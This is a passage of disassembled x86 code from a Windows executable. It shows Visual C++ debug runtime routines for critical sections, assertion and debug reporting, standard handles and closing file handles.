		mov	esp, ebp
		pop	ebp
		retn
sub_41EB90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECC0	proc near		; DATA XREF: .nsp0:0043A038o
		push	ebp
		mov	ebp, esp
		call	sub_41F8A0
		movsx	eax, byte_4EF8B0
		test	eax, eax
		jz	short loc_41ECD8
		call	sub_42AD20


loc_41ECD8:				; CODE XREF: sub_41ECC0+11j
		pop	ebp
		retn
sub_41ECC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECE0	proc near		; CODE XREF: sub_418D80+55p
					; sub_41AE60+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_451128
		jb	short loc_41ED0E
		cmp	[ebp+arg_0], offset dword_451388
		ja	short loc_41ED0E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_451128
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_41FB40
		add	esp, 4
		jmp	short loc_41ED1B
; ---------------------------------------------------------------------------


loc_41ED0E:				; CODE XREF: sub_41ECE0+Aj
					; sub_41ECE0+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	dword_4F1390	; RtlEnterCriticalSection


loc_41ED1B:				; CODE XREF: sub_41ECE0+2Cj
		pop	ebp
		retn
sub_41ECE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED20	proc near		; CODE XREF: sub_41F8B0+7Ep
					; sub_422970+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_41ED3A
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_41FB40
		add	esp, 4
		jmp	short loc_41ED47
; ---------------------------------------------------------------------------


loc_41ED3A:				; CODE XREF: sub_41ED20+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	dword_4F1390	; RtlEnterCriticalSection


loc_41ED47:				; CODE XREF: sub_41ED20+18j
		pop	ebp
		retn
sub_41ED20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED50	proc near		; CODE XREF: sub_418D80+70p
					; sub_41AE60+2Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_451128
		jb	short loc_41ED7E
		cmp	[ebp+arg_0], offset dword_451388
		ja	short loc_41ED7E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_451128
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_41ED8B
; ---------------------------------------------------------------------------


loc_41ED7E:				; CODE XREF: sub_41ED50+Aj
					; sub_41ED50+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	dword_4F138C	; RtlLeaveCriticalSection


loc_41ED8B:				; CODE XREF: sub_41ED50+2Cj
		pop	ebp
		retn
sub_41ED50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED90	proc near		; CODE XREF: sub_41F8B0+116p
					; sub_422970+A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_41EDAA
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_41EDB7
; ---------------------------------------------------------------------------


loc_41EDAA:				; CODE XREF: sub_41ED90+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	dword_4F138C	; RtlLeaveCriticalSection


loc_41EDB7:				; CODE XREF: sub_41ED90+18j
		pop	ebp
		retn
sub_41ED90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDC0	proc near		; CODE XREF: sub_41EED0+113p
					; sub_41F260+33p
		push	ebp
		mov	ebp, esp
		call	dword_4F1464	; DebugBreak
		pop	ebp
		retn
sub_41EDC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_41EDE0
		cmp	dword ptr [ebp+8], 3
		jl	short loc_41EDE5


loc_41EDE0:				; CODE XREF: .nsp0:0041EDD8j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41EE23
; ---------------------------------------------------------------------------


loc_41EDE5:				; CODE XREF: .nsp0:0041EDDEj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_41EDF7
		mov	eax, [ebp+8]
		mov	eax, dword_4513AC[eax*4]
		jmp	short loc_41EE23
; ---------------------------------------------------------------------------


loc_41EDF7:				; CODE XREF: .nsp0:0041EDE9j
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFFFFFF8h
		test	ecx, ecx
		jz	short loc_41EE06
		or	eax, 0FFFFFFFFh
		jmp	short loc_41EE23
; ---------------------------------------------------------------------------


loc_41EE06:				; CODE XREF: .nsp0:0041EDFFj
		mov	edx, [ebp+8]
		mov	eax, dword_4513AC[edx*4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	dword_4513AC[ecx*4], edx
		mov	eax, [ebp-4]


loc_41EE23:				; CODE XREF: .nsp0:0041EDE3j
					; .nsp0:0041EDF5j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_41EE40
		cmp	dword ptr [ebp+8], 3
		jl	short loc_41EE47


loc_41EE40:				; CODE XREF: .nsp0:0041EE38j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_41EEAA
; ---------------------------------------------------------------------------


loc_41EE47:				; CODE XREF: .nsp0:0041EE3Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFAh
		jnz	short loc_41EE59
		mov	eax, [ebp+8]
		mov	eax, dword_4513B8[eax*4]
		jmp	short loc_41EEAA
; ---------------------------------------------------------------------------


loc_41EE59:				; CODE XREF: .nsp0:0041EE4Bj
		mov	ecx, [ebp+8]
		mov	edx, dword_4513B8[ecx*4]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFCh
		jnz	short loc_41EE80
		push	0FFFFFFF5h
		call	dword_4F1468	; GetStdHandle
		mov	ecx, [ebp+8]
		mov	dword_4513B8[ecx*4], eax
		jmp	short loc_41EEA7
; ---------------------------------------------------------------------------


loc_41EE80:				; CODE XREF: .nsp0:0041EE6Aj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFBh
		jnz	short loc_41EE9A
		push	0FFFFFFF4h
		call	dword_4F1468	; GetStdHandle
		mov	edx, [ebp+8]
		mov	dword_4513B8[edx*4], eax
		jmp	short loc_41EEA7
; ---------------------------------------------------------------------------


loc_41EE9A:				; CODE XREF: .nsp0:0041EE84j
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	dword_4513B8[eax*4], ecx


loc_41EEA7:				; CODE XREF: .nsp0:0041EE7Ej
					; .nsp0:0041EE98j
		mov	eax, [ebp-4]


loc_41EEAA:				; CODE XREF: .nsp0:0041EE45j
					; .nsp0:0041EE57j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EFF84
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4EFF84, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EED0	proc near		; CODE XREF: sub_418D80+24p
					; sub_418E10+2Cp ...

var_302C	= dword	ptr -302Ch
var_3028	= dword	ptr -3028h
var_3024	= byte ptr -3024h
var_3010	= byte ptr -3010h
var_300C	= dword	ptr -300Ch
var_3008	= byte ptr -3008h
var_3007	= byte ptr -3007h
var_2008	= byte ptr -2008h
var_2007	= byte ptr -2007h
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 302Ch
		call	sub_41BC60
		push	edi
		mov	[ebp+var_3008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_3007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_2008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_2007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_1000],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+arg_14]
		mov	[ebp+var_1004],	eax
		cmp	[ebp+arg_0], 0
		jl	short loc_41EF3E
		cmp	[ebp+arg_0], 3
		jl	short loc_41EF46


loc_41EF3E:				; CODE XREF: sub_41EED0+66j
		or	eax, 0FFFFFFFFh
		jmp	loc_41F25B
; ---------------------------------------------------------------------------


loc_41EF46:				; CODE XREF: sub_41EED0+6Cj
		cmp	[ebp+arg_0], 2
		jnz	loc_41EFF0
		push	offset dword_4513A8
		call	dword_4F1454	; InterlockedIncrement
		test	eax, eax
		jle	loc_41EFF0
		cmp	dword_4EF8F0, 0
		jnz	short loc_41EFAE
		push	offset aUser32_dll_0 ; "user32.dll"
		call	dword_4F1374	; LoadLibraryA
		mov	[ebp+var_300C],	eax
		cmp	[ebp+var_300C],	0
		jz	short loc_41EFA6
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_300C]
		push	ecx
		call	dword_4F1378	; GetProcAddress
		mov	dword_4EF8F0, eax
		cmp	dword_4EF8F0, 0
		jnz	short loc_41EFAE


loc_41EFA6:				; CODE XREF: sub_41EED0+B4j
		or	eax, 0FFFFFFFFh
		jmp	loc_41F25B
; ---------------------------------------------------------------------------


loc_41EFAE:				; CODE XREF: sub_41EED0+9Aj
					; sub_41EED0+D4j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset aSecondChanceAs ; "Second Chance	Assertion Failed: File %s"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	dword_4EF8F0
		add	esp, 10h
		lea	edx, [ebp+var_2008]
		push	edx
		call	dword_4F146C	; OutputDebugStringA
		push	offset dword_4513A8
		call	dword_4F1450	; InterlockedDecrement
		call	sub_41EDC0
		or	eax, 0FFFFFFFFh
		jmp	loc_41F25B
; ---------------------------------------------------------------------------


loc_41EFF0:				; CODE XREF: sub_41EED0+7Aj
					; sub_41EED0+8Dj
		cmp	[ebp+arg_10], 0
		jz	short loc_41F02D
		mov	eax, [ebp+var_1004]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		push	0FEDh
		lea	edx, [ebp+var_1000]
		push	edx
		call	sub_41C6A0
		add	esp, 10h
		test	eax, eax
		jge	short loc_41F02D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_41C300
		add	esp, 8


loc_41F02D:				; CODE XREF: sub_41EED0+124j
					; sub_41EED0+147j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F065
		cmp	[ebp+arg_10], 0
		jz	short loc_41F045
		mov	[ebp+var_3028],	offset aAssertionFaile ; "Assertion failed: "
		jmp	short loc_41F04F
; ---------------------------------------------------------------------------


loc_41F045:				; CODE XREF: sub_41EED0+167j
		mov	[ebp+var_3028],	offset aAssertionFai_0 ; "Assertion failed!"


loc_41F04F:				; CODE XREF: sub_41EED0+173j
		mov	ecx, [ebp+var_3028]
		push	ecx
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_41C300
		add	esp, 8


loc_41F065:				; CODE XREF: sub_41EED0+161j
		lea	eax, [ebp+var_1000]
		push	eax
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_41C310
		add	esp, 8
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F0BA
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4513AC[edx*4]
		and	eax, 1
		test	eax, eax
		jz	short loc_41F0A6
		push	offset asc_437D80 ; "\r"
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_41C310
		add	esp, 8


loc_41F0A6:				; CODE XREF: sub_41EED0+1C0j
		push	offset asc_437D7C ; "\n"
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_41C310
		add	esp, 8


loc_41F0BA:				; CODE XREF: sub_41EED0+1AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_41F102
		lea	eax, [ebp+var_3008]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aSDS	; "%s(%d) : %s"
		push	1000h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41B910
		add	esp, 18h
		test	eax, eax
		jge	short loc_41F100
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	sub_41C300
		add	esp, 8


loc_41F100:				; CODE XREF: sub_41EED0+21Aj
		jmp	short loc_41F118
; ---------------------------------------------------------------------------


loc_41F102:				; CODE XREF: sub_41EED0+1EEj
		lea	edx, [ebp+var_3008]
		push	edx
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41C300
		add	esp, 8


loc_41F118:				; CODE XREF: sub_41EED0:loc_41F100j
		cmp	dword_4EFF84, 0
		jz	short loc_41F15C
		lea	ecx, [ebp+var_1008]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4EFF84
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F15C
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F151
		push	offset dword_4513A8
		call	dword_4F1450	; InterlockedDecrement


loc_41F151:				; CODE XREF: sub_41EED0+274j
		mov	eax, [ebp+var_1008]
		jmp	loc_41F25B
; ---------------------------------------------------------------------------


loc_41F15C:				; CODE XREF: sub_41EED0+24Fj
					; sub_41EED0+26Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4513AC[ecx*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_41F1AB
		mov	eax, [ebp+arg_0]
		cmp	dword_4513B8[eax*4], 0FFFFFFFFh
		jz	short loc_41F1AB
		push	0
		lea	ecx, [ebp+var_3010]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		call	sub_418D00
		add	esp, 4
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4513B8[ecx*4]
		push	edx
		call	dword_4F139C	; WriteFile


loc_41F1AB:				; CODE XREF: sub_41EED0+29Bj
					; sub_41EED0+2A8j
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4513AC[eax*4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41F1C9
		lea	edx, [ebp+var_2008]
		push	edx
		call	dword_4F146C	; OutputDebugStringA


loc_41F1C9:				; CODE XREF: sub_41EED0+2EAj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4513AC[eax*4]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_41F248
		cmp	[ebp+arg_8], 0
		jz	short loc_41F1FD
		push	0Ah
		lea	edx, [ebp+var_3024]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42AE00
		add	esp, 0Ch
		mov	[ebp+var_302C],	eax
		jmp	short loc_41F207
; ---------------------------------------------------------------------------


loc_41F1FD:				; CODE XREF: sub_41EED0+30Ej
		mov	[ebp+var_302C],	0


loc_41F207:				; CODE XREF: sub_41EED0+32Bj
		lea	ecx, [ebp+var_1000]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_302C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F260
		add	esp, 14h
		mov	[ebp+var_1008],	eax
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F240
		push	offset dword_4513A8
		call	dword_4F1450	; InterlockedDecrement


loc_41F240:				; CODE XREF: sub_41EED0+363j
		mov	eax, [ebp+var_1008]
		jmp	short loc_41F25B
; ---------------------------------------------------------------------------


loc_41F248:				; CODE XREF: sub_41EED0+308j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F259
		push	offset dword_4513A8
		call	dword_4F1450	; InterlockedDecrement


loc_41F259:				; CODE XREF: sub_41EED0+37Cj
		xor	eax, eax


loc_41F25B:				; CODE XREF: sub_41EED0+71j
					; sub_41EED0+D9j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_41EED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F260	proc near		; CODE XREF: sub_41EED0+351p

var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_41BC60


loc_41F26D:				; CODE XREF: sub_41F260+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F298
		push	offset aSzusermessageN ; "szUserMessage	!= NULL"
		push	0
		push	1DAh
		push	offset aDbgrpt_c ; "dbgrpt.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F298
		call	sub_41EDC0


loc_41F298:				; CODE XREF: sub_41F260+11j
					; sub_41F260+31j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41F26D
		push	104h
		lea	ecx, [ebp+var_108]
		push	ecx
		push	0
		call	dword_4F132C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41F2CA
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_41C300
		add	esp, 8


loc_41F2CA:				; CODE XREF: sub_41F260+54j
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_418D00
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_41F30D
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_4], edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch


loc_41F30D:				; CODE XREF: sub_41F260+82j
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_1110],	ecx
		cmp	[ebp+var_1110],	0
		jz	short loc_41F368
		mov	edx, [ebp+var_1110]
		push	edx
		call	sub_418D00
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_41F368
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp+var_1110]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_1110],	edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch


loc_41F368:				; CODE XREF: sub_41F260+BDj
					; sub_41F260+D1j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F37A
		mov	[ebp+var_1114],	offset aForInformation ; "\n\nFor information on how your program c"...
		jmp	short loc_41F384
; ---------------------------------------------------------------------------


loc_41F37A:				; CODE XREF: sub_41F260+10Cj
		mov	[ebp+var_1114],	offset dword_437ECC


loc_41F384:				; CODE XREF: sub_41F260+118j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41F399
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1118],	eax
		jmp	short loc_41F3A3
; ---------------------------------------------------------------------------


loc_41F399:				; CODE XREF: sub_41F260+12Cj
		mov	[ebp+var_1118],	offset dword_437ECC


loc_41F3A3:				; CODE XREF: sub_41F260+137j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41F3BF
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F3BF
		mov	[ebp+var_111C],	offset aExpression ; "Expression: "
		jmp	short loc_41F3C9
; ---------------------------------------------------------------------------


loc_41F3BF:				; CODE XREF: sub_41F260+14Bj
					; sub_41F260+151j
		mov	[ebp+var_111C],	offset dword_437ECC


loc_41F3C9:				; CODE XREF: sub_41F260+15Dj
		mov	eax, [ebp+arg_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_41F3DF
		mov	[ebp+var_1120],	offset asc_437EB8 ; "\n\n"
		jmp	short loc_41F3E9
; ---------------------------------------------------------------------------


loc_41F3DF:				; CODE XREF: sub_41F260+171j
		mov	[ebp+var_1120],	offset dword_437ECC


loc_41F3E9:				; CODE XREF: sub_41F260+17Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_41F3FA
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1124],	edx
		jmp	short loc_41F404
; ---------------------------------------------------------------------------


loc_41F3FA:				; CODE XREF: sub_41F260+18Dj
		mov	[ebp+var_1124],	offset dword_437ECC


loc_41F404:				; CODE XREF: sub_41F260+198j
		cmp	[ebp+arg_8], 0
		jz	short loc_41F416
		mov	[ebp+var_1128],	offset aLine ; "\nLine:	"
		jmp	short loc_41F420
; ---------------------------------------------------------------------------


loc_41F416:				; CODE XREF: sub_41F260+1A8j
		mov	[ebp+var_1128],	offset dword_437ECC


loc_41F420:				; CODE XREF: sub_41F260+1B4j
		cmp	[ebp+arg_4], 0
		jz	short loc_41F431
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		jmp	short loc_41F43B
; ---------------------------------------------------------------------------


loc_41F431:				; CODE XREF: sub_41F260+1C4j
		mov	[ebp+var_112C],	offset dword_437ECC


loc_41F43B:				; CODE XREF: sub_41F260+1CFj
		cmp	[ebp+arg_4], 0
		jz	short loc_41F44D
		mov	[ebp+var_1130],	offset aFile ; "\nFile:	"
		jmp	short loc_41F457
; ---------------------------------------------------------------------------


loc_41F44D:				; CODE XREF: sub_41F260+1DFj
		mov	[ebp+var_1130],	offset dword_437ECC


loc_41F457:				; CODE XREF: sub_41F260+1EBj
		cmp	[ebp+var_1110],	0
		jz	short loc_41F46E
		mov	ecx, [ebp+var_1110]
		mov	[ebp+var_1134],	ecx
		jmp	short loc_41F478
; ---------------------------------------------------------------------------


loc_41F46E:				; CODE XREF: sub_41F260+1FEj
		mov	[ebp+var_1134],	offset dword_437ECC


loc_41F478:				; CODE XREF: sub_41F260+20Cj
		cmp	[ebp+var_1110],	0
		jz	short loc_41F48D
		mov	[ebp+var_1138],	offset aModule ; "\nModule: "
		jmp	short loc_41F497
; ---------------------------------------------------------------------------


loc_41F48D:				; CODE XREF: sub_41F260+21Fj
		mov	[ebp+var_1138],	offset dword_437ECC


loc_41F497:				; CODE XREF: sub_41F260+22Bj
		mov	edx, [ebp+var_1114]
		push	edx
		mov	eax, [ebp+var_1118]
		push	eax
		mov	ecx, [ebp+var_111C]
		push	ecx
		mov	edx, [ebp+var_1120]
		push	edx
		mov	eax, [ebp+var_1124]
		push	eax
		mov	ecx, [ebp+var_1128]
		push	ecx
		mov	edx, [ebp+var_112C]
		push	edx
		mov	eax, [ebp+var_1130]
		push	eax
		mov	ecx, [ebp+var_1134]
		push	ecx
		mov	edx, [ebp+var_1138]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4513C4[ecx*4]
		push	edx
		push	offset aDebugSProgramS ; "Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
		push	1000h
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B910
		add	esp, 3Ch
		test	eax, eax
		jge	short loc_41F51D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_110C]
		push	ecx
		call	sub_41C300
		add	esp, 8


loc_41F51D:				; CODE XREF: sub_41F260+2A7j
		push	12012h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
		lea	edx, [ebp+var_110C]
		push	edx
		call	sub_42B680
		add	esp, 0Ch
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 3
		jnz	short loc_41F556
		push	16h
		call	sub_42B3C0
		add	esp, 4
		push	3
		call	sub_41B5A0


loc_41F556:				; CODE XREF: sub_41F260+2E3j
		cmp	[ebp+var_10C], 4
		jnz	short loc_41F566
		mov	eax, 1
		jmp	short loc_41F568
; ---------------------------------------------------------------------------


loc_41F566:				; CODE XREF: sub_41F260+2FDj
		xor	eax, eax


loc_41F568:				; CODE XREF: sub_41F260+304j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F260	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F570	proc near		; CODE XREF: sub_418E10+71p
					; sub_42C3D0+400p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	short loc_41F5A1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41F5BC


loc_41F5A1:				; CODE XREF: sub_41F570+Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F5E6
; ---------------------------------------------------------------------------


loc_41F5BC:				; CODE XREF: sub_41F570+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F5F0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41F5E6:				; CODE XREF: sub_41F570+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_41F570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5F0	proc near		; CODE XREF: sub_41F570+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BAD0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F643
		cmp	[ebp+arg_0], 1
		jz	short loc_41F612
		cmp	[ebp+arg_0], 2
		jnz	short loc_41F62C


loc_41F612:				; CODE XREF: sub_41F5F0+1Aj
		push	1
		call	sub_42BAD0
		add	esp, 4
		mov	esi, eax
		push	2
		call	sub_42BAD0
		add	esp, 4
		cmp	esi, eax
		jz	short loc_41F643


loc_41F62C:				; CODE XREF: sub_41F5F0+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42BAD0
		add	esp, 4
		push	eax
		call	dword_4F1324	; CloseHandle
		test	eax, eax
		jz	short loc_41F64C


loc_41F643:				; CODE XREF: sub_41F5F0+14j
					; sub_41F5F0+3Aj
		mov	[ebp+var_4], 0
		jmp	short loc_41F655
; ---------------------------------------------------------------------------


loc_41F64C:				; CODE XREF: sub_41F5F0+51j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax


loc_41F655:				; CODE XREF: sub_41F5F0+5Aj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B9F0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	byte ptr [edx+ecx+4], 0
		cmp	[ebp+var_4], 0
		jz	short loc_41F693
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_424800
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F695
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F5F0+90j
		xor	eax, eax


loc_41F695:				; CODE XREF: sub_41F5F0+A1j
		pop	esi
		mov	esp, ebp
